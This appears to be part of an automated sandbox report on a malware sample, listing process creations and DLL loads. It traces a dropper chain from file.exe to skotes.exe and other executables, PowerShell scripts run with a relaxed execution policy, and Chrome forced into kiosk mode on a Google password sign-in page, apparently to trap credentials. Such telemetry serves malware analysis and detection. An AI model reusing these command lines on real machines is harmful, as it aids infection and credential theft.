Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User" --mojo-platform-channel-handle=5736 --field-trial-handle=2032,i,16315345913979309898,3304916234650839714,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User" --mojo-platform-channel-handle=5760 --field-trial-handle=2032,i,16315345913979309898,3304916234650839714,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\1000026002\cee706a53f.exe "C:\Users\user\1000026002\cee706a53f.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe "C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\1000026002\cee706a53f.exe "C:\Users\user\1000026002\cee706a53f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\1000032042\ko.ps1"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\1000033142\so.ps1"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --kiosk --user-data-dir=C:\Users\user\AppData\Local\Google\Chrome\User Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User" --mojo-platform-channel-handle=2632 --field-trial-handle=2032,i,16315345913979309898,3304916234650839714,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User" --mojo-platform-channel-handle=5736 --field-trial-handle=2032,i,16315345913979309898,3304916234650839714,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User" --mojo-platform-channel-handle=5760 --field-trial-handle=2032,i,16315345913979309898,3304916234650839714,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --kiosk --user-data-dir=C:\Users\user\AppData\Local\Google\Chrome\User Data
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User" --mojo-platform-channel-handle=2060 --field-trial-handle=2044,i,13926108917370873368,3944536468102768891,262144 /prefetch:8

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: sspicli.dll
